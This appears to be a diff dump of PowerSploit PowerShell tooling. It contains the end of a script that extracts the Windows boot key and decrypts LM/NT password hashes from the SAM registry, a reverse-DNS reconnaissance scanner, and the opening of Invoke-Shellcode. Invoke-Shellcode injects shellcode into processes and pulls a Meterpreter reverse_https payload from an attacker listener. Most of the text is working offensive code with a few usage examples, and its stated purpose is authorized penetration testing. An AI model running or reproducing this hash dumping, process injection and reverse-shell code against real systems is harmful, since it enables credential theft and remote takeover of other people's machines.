$key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
|
||||
$key += $([int]($s[6]) -band 0x7F);
|
||||
0..7 | %{
|
||||
$key[$_] = [Shift]::Left($key[$_], 1);
|
||||
$key[$_] = $odd_parity[$key[$_]];
|
||||
}
|
||||
return ,$key;
|
||||
}
|
||||
function NewRC4([byte[]]$key)
|
||||
{
|
||||
return new-object Object |
|
||||
Add-Member NoteProperty key $key -PassThru |
|
||||
Add-Member NoteProperty S $null -PassThru |
|
||||
Add-Member ScriptMethod init {
|
||||
if (-not $this.S)
|
||||
{
|
||||
[byte[]]$this.S = 0..255;
|
||||
0..255 | % -begin{[long]$j=0;}{
|
||||
$j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
|
||||
$temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
|
||||
}
|
||||
}
|
||||
} -PassThru |
|
||||
Add-Member ScriptMethod "encrypt" {
|
||||
$data = $args[0];
|
||||
$this.init();
|
||||
$outbuf = new-object byte[] $($data.Length);
|
||||
$S2 = $this.S[0..$this.S.Length];
|
||||
0..$($data.Length-1) | % -begin{$i=0;$j=0;} {
|
||||
$i = ($i+1) % $S2.Length;
|
||||
$j = ($j + $S2[$i]) % $S2.Length;
|
||||
$temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
|
||||
$a = $data[$_];
|
||||
$b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
|
||||
$outbuf[$_] = ($a -bxor $b);
|
||||
}
|
||||
return ,$outbuf;
|
||||
} -PassThru
|
||||
}
|
||||
function des_encrypt([byte[]]$data, [byte[]]$key)
|
||||
{
|
||||
return ,(des_transform $data $key $true)
|
||||
}
|
||||
function des_decrypt([byte[]]$data, [byte[]]$key)
|
||||
{
|
||||
return ,(des_transform $data $key $false)
|
||||
}
|
||||
function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
|
||||
{
|
||||
$des = new-object Security.Cryptography.DESCryptoServiceProvider;
|
||||
$des.Mode = [Security.Cryptography.CipherMode]::ECB;
|
||||
$des.Padding = [Security.Cryptography.PaddingMode]::None;
|
||||
$des.Key = $key;
|
||||
$des.IV = $key;
|
||||
$transform = $null;
|
||||
if ($doEncrypt) {$transform = $des.CreateEncryptor();}
|
||||
else{$transform = $des.CreateDecryptor();}
|
||||
$result = $transform.TransformFinalBlock($data, 0, $data.Length);
|
||||
return ,$result;
|
||||
}
|
||||
function Get-RegKeyClass([string]$key, [string]$subkey)
|
||||
{
|
||||
switch ($Key) {
|
||||
"HKCR" { $nKey = 0x80000000} #HK Classes Root
|
||||
"HKCU" { $nKey = 0x80000001} #HK Current User
|
||||
"HKLM" { $nKey = 0x80000002} #HK Local Machine
|
||||
"HKU" { $nKey = 0x80000003} #HK Users
|
||||
"HKCC" { $nKey = 0x80000005} #HK Current Config
|
||||
default {
|
||||
throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
|
||||
}
|
||||
}
|
||||
$KEYQUERYVALUE = 0x1;
|
||||
$KEYREAD = 0x19;
|
||||
$KEYALLACCESS = 0x3F;
|
||||
$result = "";
|
||||
[int]$hkey=0
|
||||
if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
|
||||
{
|
||||
$classVal = New-Object Text.Stringbuilder 1024
|
||||
[int]$len = 1024
|
||||
if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
|
||||
[ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
|
||||
{
|
||||
$result = $classVal.ToString()
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Error "RegQueryInfoKey failed";
|
||||
}
|
||||
[PowerDump.Native]::RegCloseKey($hkey) | Out-Null
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Error "Cannot open key";
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
function Get-BootKey
|
||||
{
|
||||
$s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
|
||||
$b = new-object byte[] $($s.Length/2);
|
||||
0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
|
||||
$b2 = new-object byte[] 16;
|
||||
0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
|
||||
return ,$b2;
|
||||
}
|
||||
function Get-HBootKey
|
||||
{
|
||||
param([byte[]]$bootkey);
|
||||
$aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0");
|
||||
$anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
|
||||
$k = Get-Item HKLM:\SAM\SAM\Domains\Account;
|
||||
if (-not $k) {return $null}
|
||||
[byte[]]$F = $k.GetValue("F");
|
||||
if (-not $F) {return $null}
|
||||
$rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
|
||||
$rc4 = NewRC4 $rc4key;
|
||||
return ,($rc4.encrypt($F[0x80..0x9F]));
|
||||
}
|
||||
function Get-UserName([byte[]]$V)
|
||||
{
|
||||
if (-not $V) {return $null};
|
||||
$offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
|
||||
$len = [BitConverter]::ToInt32($V[0x10..0x13],0);
|
||||
return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
|
||||
}
|
||||
function Get-UserHashes($u, [byte[]]$hbootkey)
|
||||
{
|
||||
[byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
|
||||
if ($u.HashOffset + 0x28 -lt $u.V.Length)
|
||||
{
|
||||
$lm_hash_offset = $u.HashOffset + 4;
|
||||
$nt_hash_offset = $u.HashOffset + 8 + 0x10;
|
||||
$enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
|
||||
$enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
|
||||
}
|
||||
elseif ($u.HashOffset + 0x14 -lt $u.V.Length)
|
||||
{
|
||||
$nt_hash_offset = $u.HashOffset + 8;
|
||||
$enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
|
||||
}
|
||||
return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
|
||||
}
|
||||
function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
|
||||
{
|
||||
[byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
|
||||
# LM Hash
|
||||
if ($enc_lm_hash)
|
||||
{
|
||||
$lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
|
||||
}
|
||||
|
||||
# NT Hash
|
||||
if ($enc_nt_hash)
|
||||
{
|
||||
$nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
|
||||
}
|
||||
return ,($lmhash,$nthash)
|
||||
}
|
||||
function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
|
||||
{
|
||||
$deskeys = sid_to_key $rid;
|
||||
$md5 = [Security.Cryptography.MD5]::Create();
|
||||
$rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
|
||||
$rc4 = NewRC4 $rc4_key;
|
||||
$obfkey = $rc4.encrypt($enc_hash);
|
||||
$hash = (des_decrypt $obfkey[0..7] $deskeys[0]) +
|
||||
(des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
|
||||
return ,$hash;
|
||||
}
|
||||
function Get-UserKeys
|
||||
{
|
||||
ls HKLM:\SAM\SAM\Domains\Account\Users |
|
||||
where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} |
|
||||
Add-Member AliasProperty KeyName PSChildName -PassThru |
|
||||
Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
|
||||
Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru |
|
||||
Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru |
|
||||
Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
|
||||
}
|
||||
function DumpHashes
|
||||
{
|
||||
LoadApi
|
||||
$bootkey = Get-BootKey;
|
||||
$hbootKey = Get-HBootKey $bootkey;
|
||||
Get-UserKeys | %{
|
||||
$hashes = Get-UserHashes $_ $hBootKey;
|
||||
"{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid,
|
||||
[BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
|
||||
[BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
|
||||
"`n"
|
||||
}
|
||||
}
|
||||
if ([priv]::IsUserAnAdmin())
|
||||
{
|
||||
if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem)
|
||||
{
|
||||
DumpHashes
|
||||
}
|
||||
else
|
||||
{
|
||||
ElevatePrivs
|
||||
if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem)
|
||||
{
|
||||
DumpHashes
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Error "Administrator or System privileges necessary."
|
||||
}
|
||||
}
|
|
@ -0,0 +1,220 @@
|
|||
function Invoke-ReverseDnsLookup
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Perform a reverse DNS lookup scan on a range of IP addresses.
|
||||
|
||||
PowerSploit Function: Invoke-ReverseDnsLookup
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaisance prior to conducting an authorized penetration test.
|
||||
|
||||
.PARAMETER IPRange
|
||||
|
||||
Specifies the IP address range. The range provided can be in the form of a single IP address, a low-high range, or a CIDR range. Comma-delimited ranges may can be provided.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-ReverseDnsLookup 74.125.228.0/29
|
||||
|
||||
IP HostName
|
||||
-- --------
|
||||
74.125.228.1 iad23s05-in-f1.1e100.net
|
||||
74.125.228.2 iad23s05-in-f2.1e100.net
|
||||
74.125.228.3 iad23s05-in-f3.1e100.net
|
||||
74.125.228.4 iad23s05-in-f4.1e100.net
|
||||
74.125.228.5 iad23s05-in-f5.1e100.net
|
||||
74.125.228.6 iad23s05-in-f6.1e100.net
|
||||
|
||||
Description
|
||||
-----------
|
||||
Returns the hostnames of the IP addresses specified by the CIDR range.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6'
|
||||
|
||||
IP HostName
|
||||
-- --------
|
||||
74.125.228.1 iad23s05-in-f1.1e100.net
|
||||
74.125.228.4 iad23s05-in-f4.1e100.net
|
||||
74.125.228.5 iad23s05-in-f5.1e100.net
|
||||
74.125.228.6 iad23s05-in-f6.1e100.net
|
||||
|
||||
Description
|
||||
-----------
|
||||
Returns the hostnames of the IP addresses specified by the IP range specified.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Write-Output "74.125.228.1,74.125.228.0/29" | Invoke-ReverseDnsLookup
|
||||
|
||||
IP HostName
|
||||
-- --------
|
||||
74.125.228.1 iad23s05-in-f1.1e100.net
|
||||
74.125.228.1 iad23s05-in-f1.1e100.net
|
||||
74.125.228.2 iad23s05-in-f2.1e100.net
|
||||
74.125.228.3 iad23s05-in-f3.1e100.net
|
||||
74.125.228.4 iad23s05-in-f4.1e100.net
|
||||
74.125.228.5 iad23s05-in-f5.1e100.net
|
||||
74.125.228.6 iad23s05-in-f6.1e100.net
|
||||
|
||||
Description
|
||||
-----------
|
||||
Returns the hostnames of the IP addresses piped from another source.
|
||||
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com
|
||||
https://github.com/mattifestation/PowerSploit
|
||||
#>
|
||||
|
||||
Param (
|
||||
[Parameter(Position = 0, Mandatory = $True,ValueFromPipeline=$True)]
|
||||
[String]
|
||||
$IpRange
|
||||
)
|
||||
|
||||
BEGIN {
|
||||
|
||||
function Parse-IPList ([String] $IpRange)
|
||||
{
|
||||
|
||||
function IPtoInt
|
||||
{
|
||||
Param([String] $IpString)
|
||||
|
||||
$Hexstr = ""
|
||||
$Octets = $IpString.Split(".")
|
||||
foreach ($Octet in $Octets) {
|
||||
$Hexstr += "{0:X2}" -f [Int] $Octet
|
||||
}
|
||||
return [Convert]::ToInt64($Hexstr, 16)
|
||||
}
|
||||
|
||||
function InttoIP
|
||||
{
|
||||
Param([Int64] $IpInt)
|
||||
$Hexstr = $IpInt.ToString("X8")
|
||||
$IpStr = ""
|
||||
for ($i=0; $i -lt 8; $i += 2) {
|
||||
$IpStr += [Convert]::ToInt64($Hexstr.SubString($i,2), 16)
|
||||
$IpStr += '.'
|
||||
}
|
||||
return $IpStr.TrimEnd('.')
|
||||
}
|
||||
|
||||
$Ip = [System.Net.IPAddress]::Parse("127.0.0.1")
|
||||
|
||||
foreach ($Str in $IpRange.Split(","))
|
||||
{
|
||||
$Item = $Str.Trim()
|
||||
$Result = ""
|
||||
$IpRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
|
||||
|
||||
# First, validate the input
|
||||
switch -regex ($Item)
|
||||
{
|
||||
"^$IpRegex/\d{1,2}$"
|
||||
{
|
||||
$Result = "cidrRange"
|
||||
break
|
||||
}
|
||||
"^$IpRegex-$IpRegex$"
|
||||
{
|
||||
$Result = "range"
|
||||
break
|
||||
}
|
||||
"^$IpRegex$"
|
||||
{
|
||||
$Result = "single"
|
||||
break
|
||||
}
|
||||
default
|
||||
{
|
||||
Write-Warning "Inproper input"
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
#Now, start processing the IP addresses
|
||||
switch ($Result)
|
||||
{
|
||||
"cidrRange"
|
||||
{
|
||||
$CidrRange = $Item.Split("/")
|
||||
$Network = $CidrRange[0]
|
||||
$Mask = $CidrRange[1]
|
||||
|
||||
if (!([System.Net.IPAddress]::TryParse($Network, [ref] $Ip))) { Write-Warning "Invalid IP address supplied!"; return}
|
||||
if (($Mask -lt 0) -or ($Mask -gt 30)) { Write-Warning "Invalid network mask! Acceptable values are 0-30"; return}
|
||||
|
||||
$BinaryIP = [Convert]::ToString((IPtoInt $Network),2).PadLeft(32,'0')
|
||||
#Generate lower limit (Excluding network address)
|
||||
$Lower = $BinaryIP.Substring(0, $Mask) + "0" * ((32-$Mask)-1) + "1"
|
||||
#Generate upperr limit (Excluding broadcast address)
|
||||
$Upper = $BinaryIP.Substring(0, $Mask) + "1" * ((32-$Mask)-1) + "0"
|
||||
$LowerInt = [Convert]::ToInt64($Lower, 2)
|
||||
$UpperInt = [Convert]::ToInt64($Upper, 2)
|
||||
for ($i = $LowerInt; $i -le $UpperInt; $i++) { InttoIP $i }
|
||||
}
|
||||
"range"
|
||||
{
|
||||
$Range = $item.Split("-")
|
||||
|
||||
if ([System.Net.IPAddress]::TryParse($Range[0],[ref]$Ip)) { $Temp1 = $Ip }
|
||||
else { Write-Warning "Invalid IP address supplied!"; return }
|
||||
|
||||
if ([System.Net.IPAddress]::TryParse($Range[1],[ref]$Ip)) { $Temp2 = $Ip }
|
||||
else { Write-Warning "Invalid IP address supplied!"; return }
|
||||
|
||||
$Left = (IPtoInt $Temp1.ToString())
|
||||
$Right = (IPtoInt $Temp2.ToString())
|
||||
|
||||
if ($Right -gt $Left) {
|
||||
for ($i = $Left; $i -le $Right; $i++) { InttoIP $i }
|
||||
}
|
||||
else { Write-Warning "Invalid IP range. The right portion must be greater than the left portion."; return}
|
||||
|
||||
break
|
||||
}
|
||||
"single"
|
||||
{
|
||||
if ([System.Net.IPAddress]::TryParse($Item,[ref]$Ip)) { $Ip.IPAddressToString }
|
||||
else { Write-Warning "Invalid IP address supplied!"; return }
|
||||
break
|
||||
}
|
||||
default
|
||||
{
|
||||
Write-Warning "An error occured."
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
PROCESS {
|
||||
Parse-IPList $IpRange | ForEach-Object {
|
||||
try {
|
||||
Write-Verbose "Resolving $_"
|
||||
$Temp = [System.Net.Dns]::GetHostEntry($_)
|
||||
|
||||
$Result = @{
|
||||
IP = $_
|
||||
HostName = $Temp.HostName
|
||||
}
|
||||
|
||||
New-Object PSObject -Property $Result
|
||||
} catch [System.Net.Sockets.SocketException] {}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,698 @@
|
|||
function Invoke-Shellcode
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
|
||||
|
||||
PowerSploit Function: Invoke-Shellcode
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
|
||||
|
||||
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
|
||||
|
||||
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
|
||||
|
||||
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
|
||||
|
||||
.PARAMETER ProcessID
|
||||
|
||||
Process ID of the process you want to inject shellcode into.
|
||||
|
||||
.PARAMETER Shellcode
|
||||
|
||||
Specifies an optional shellcode passed in as a byte array
|
||||
|
||||
.PARAMETER ListMetasploitPayloads
|
||||
|
||||
Lists all of the available Metasploit payloads that Invoke-Shellcode supports
|
||||
|
||||
.PARAMETER Lhost
|
||||
|
||||
Specifies the IP address of the attack machine waiting to receive the reverse shell
|
||||
|
||||
.PARAMETER Lport
|
||||
|
||||
Specifies the port of the attack machine waiting to receive the reverse shell
|
||||
|
||||
.PARAMETER Payload
|
||||
|
||||
Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
|
||||
|
||||
.PARAMETER UserAgent
|
||||
|
||||
Optionally specifies the user agent to use when using meterpreter http or https payloads
|
||||
|
||||
.PARAMETER Proxy
|
||||
|
||||
Optionally specifies whether to utilize the proxy settings on the machine.
|
||||
|
||||
.PARAMETER Legacy
|
||||
|
||||
Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future.
|
||||
|
||||
.PARAMETER Force
|
||||
|
||||
Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Shellcode -ProcessId 4274
|
||||
|
||||
Description
|
||||
-----------
|
||||
Inject shellcode into process ID 4274.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Shellcode
|
||||
|
||||
Description
|
||||
-----------
|
||||
Inject shellcode into the running instance of PowerShell.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
|
||||
C:\PS> $Proc = Get-Process notepad
|
||||
C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
|
||||
|
||||
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
|
||||
VERBOSE: Injecting shellcode into PID: 4004
|
||||
VERBOSE: Injecting into a Wow64 process.
|
||||
VERBOSE: Using 32-bit shellcode.
|
||||
VERBOSE: Shellcode memory reserved at 0x03BE0000
|
||||
VERBOSE: Emitting 32-bit assembly call stub.
|
||||
VERBOSE: Thread call stub memory reserved at 0x001B0000
|
||||
VERBOSE: Shellcode injection complete!
|
||||
|
||||
Description
|
||||
-----------
|
||||
Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:
|
||||
|
||||
Payload options (windows/meterpreter/reverse_https):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique: seh, thread, process, none
|
||||
LHOST 192.168.30.129 yes The local listener hostname
|
||||
LPORT 443 yes The local listener port
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
|
||||
|
||||
Description
|
||||
-----------
|
||||
Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:
|
||||
|
||||
Payload options (windows/meterpreter/reverse_http):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique: seh, thread, process, none
|
||||
LHOST 192.168.30.129 yes The local listener hostname
|
||||
LPORT 80 yes The local listener port
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
|
||||
|
||||
Description
|
||||
-----------
|
||||
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
|
||||
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Shellcode -ListMetasploitPayloads
|
||||
|
||||
Payloads
|
||||
--------
|
||||
windows/meterpreter/reverse_http
|
||||
windows/meterpreter/reverse_https
|
||||
|
||||
.NOTES
|
||||
|
||||
Use the '-Verbose' option to print detailed information.
|
||||
|
||||
Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
|
||||
|
||||
Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com
|
||||
#>
|
||||
|
||||
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[UInt16]
|
||||
$ProcessID,
|
||||
|
||||
[Parameter( ParameterSetName = 'RunLocal' )]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Byte[]]
|
||||
$Shellcode,
|
||||
|
||||
[Parameter( ParameterSetName = 'Metasploit' )]
|
||||
[ValidateSet( 'windows/meterpreter/reverse_http',
|
||||
'windows/meterpreter/reverse_https',
|
||||
IgnoreCase = $True )]
|
||||
[String]
|
||||
$Payload = 'windows/meterpreter/reverse_http',
|
||||
|
||||
[Parameter( ParameterSetName = 'ListPayloads' )]
|
||||
[Switch]
|
||||
$ListMetasploitPayloads,
|
||||
|
||||
[Parameter( Mandatory = $True,
|
||||
ParameterSetName = 'Metasploit' )]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Lhost = '127.0.0.1',
|
||||
|
||||
[Parameter( Mandatory = $True,
|
||||
ParameterSetName = 'Metasploit' )]
|
||||
[ValidateRange( 1,65535 )]
|
||||
[Int]
|
||||
$Lport = 8443,
|
||||
|
||||
[Parameter( ParameterSetName = 'Metasploit' )]
|
||||
[ValidateNotNull()]
|
||||
[String]
|
||||
$UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent',
|
||||
|
||||
[Parameter( ParameterSetName = 'Metasploit' )]
|
||||
[ValidateNotNull()]
|
||||
[Switch]
|
||||
$Legacy = $False,
|
||||
|
||||
[Parameter( ParameterSetName = 'Metasploit' )]
|
||||
[ValidateNotNull()]
|
||||
[Switch]
|
||||
$Proxy = $False,
|
||||
|
||||
[Switch]
|
||||
$Force = $False
|
||||
)
|
||||
|
||||
Set-StrictMode -Version 2.0
|
||||
|
||||
# List all available Metasploit payloads and exit the function
|
||||
if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
|
||||
{
|
||||
$AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
|
||||
Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
|
||||
|
||||
foreach ($Payload in $AvailablePayloads.ValidValues)
|
||||
{
|
||||
New-Object PSObject -Property @{ Payloads = $Payload }
|
||||
}
|
||||
|
||||
Return
|
||||
}
|
||||
|
||||
if ( $PSBoundParameters['ProcessID'] )
|
||||
{
|
||||
# Ensure a valid process ID was provided
|
||||
# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
|
||||
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
|
||||
} else {
|
||||
$pst = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$pst.WindowStyle = 'Hidden'
|
||||
$pst.UseShellExecute = $False
|
||||
$pst.CreateNoWindow = $True
|
||||
if ($env:PROCESSOR_ARCHITECTURE -eq "x86"){
|
||||
$pst.FileName = "C:\Windows\System32\netsh.exe"
|
||||
} else {
|
||||
$pst.FileName = "C:\Windows\Syswow64\netsh.exe"
|
||||
}
|
||||
$Process = [System.Diagnostics.Process]::Start($pst)
|
||||
[UInt16]$NewProcID = ($Process.Id).tostring()
|
||||
$ProcessID = $NewProcID
|
||||
$PSBoundParameters['ProcessID'] = $NewProcID
|
||||
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
|
||||
}
|
||||
|
||||
function Local:Get-DelegateType
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
)
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
function Local:Get-ProcAddress
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([IntPtr])]
|
||||
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[String]
|
||||
$Module,
|
||||
|
||||
[Parameter( Position = 1, Mandatory = $True )]
|
||||
[String]
|
||||
$Procedure
|
||||
)
|
||||
|
||||
# Get a reference to System.dll in the GAC
|
||||
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||||
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||||
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||||
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||||
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||||
# Get a handle to the module specified
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
|
||||
# Return the address of the function
|
||||
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
|
||||
# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
|
||||
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
|
||||
{
|
||||
$IntSizePtr = $Architecture / 8
|
||||
|
||||
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
|
||||
{
|
||||
$LittleEndianByteArray = New-Object Byte[](0)
|
||||
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
|
||||
[System.Array]::Reverse($LittleEndianByteArray)
|
||||
|
||||
Write-Output $LittleEndianByteArray
|
||||
}
|
